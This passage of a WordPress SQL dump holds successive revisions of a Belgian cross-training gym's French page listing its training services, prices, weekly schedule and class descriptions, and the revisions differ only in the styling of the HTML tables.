'http://www.crosstrainingcenter.be/?p=112', 0, 'revision', '', 0),
(113, 1, '2013-06-16 14:18:50', '2013-06-16 14:18:50', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\nDu Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\n\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00\r\n\r\n&amp;nbsp;\r\n\r\n- Personal et Duo Training (sur rendez-vous)\r\n\r\nTous les jours du lundi au dimanche.\r\n\r\n&amp;nbsp;\r\n\r\nLes cours ?\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:18:50', '2013-06-16 14:18:50', '', 11, 'http://www.crosstrainingcenter.be/?p=113', 0, 'revision', '', 0),
(114, 1, '2013-06-16 14:20:17', '2013-06-16 14:20:17', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color:#999999;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\nDu Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\n\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00\r\n\r\n&amp;nbsp;\r\n\r\n- Personal et Duo Training (sur rendez-vous)\r\n\r\nTous les jours du lundi au dimanche.\r\n\r\n&amp;nbsp;\r\n\r\nLes cours ?\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:20:17', '2013-06-16 14:20:17', '', 11, 'http://www.crosstrainingcenter.be/?p=114', 0, 'revision', '', 0),
(115, 1, '2013-06-16 14:20:55', '2013-06-16 14:20:55', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color:#cccccc;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color:#eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color:#cccccc;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\nDu Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\n\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00\r\n\r\n&amp;nbsp;\r\n\r\n- Personal et Duo Training (sur rendez-vous)\r\n\r\nTous les jours du lundi au dimanche.\r\n\r\n&amp;nbsp;\r\n\r\nLes cours ?\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:20:55', '2013-06-16 14:20:55', '', 11, 'http://www.crosstrainingcenter.be/?p=115', 0, 'revision', '', 0),
(116, 1, '2013-06-16 14:24:10', '2013-06-16 14:24:10', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #cccccc;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #cccccc;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #cccccc;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Les cours ?&lt;/h2&gt;\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:24:10', '2013-06-16 14:24:10', '', 11, 'http://www.crosstrainingcenter.be/?p=116', 0, 'revision', '', 0),
(117, 1, '2013-06-16 14:24:59', '2013-06-16 14:24:59', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #cccccc;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #cccccc;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #cccccc;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Les cours ?&lt;/h2&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:24:59', '2013-06-16 14:24:59', '', 11, 'http://www.crosstrainingcenter.be/?p=117', 0, 'revision', '', 0),
(118, 1, '2013-06-16 14:25:45', '2013-06-16 14:25:45', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ebebeb;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ebebeb;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Les cours ?&lt;/h2&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:25:45', '2013-06-16 14:25:45', '', 11, 'http://www.crosstrainingcenter.be/?p=118', 0, 'revision', '', 0);
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(119, 1, '2013-06-16 14:26:21', '2013-06-16 14:26:21', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fefefe;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fefefe;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Les cours ?&lt;/h2&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui 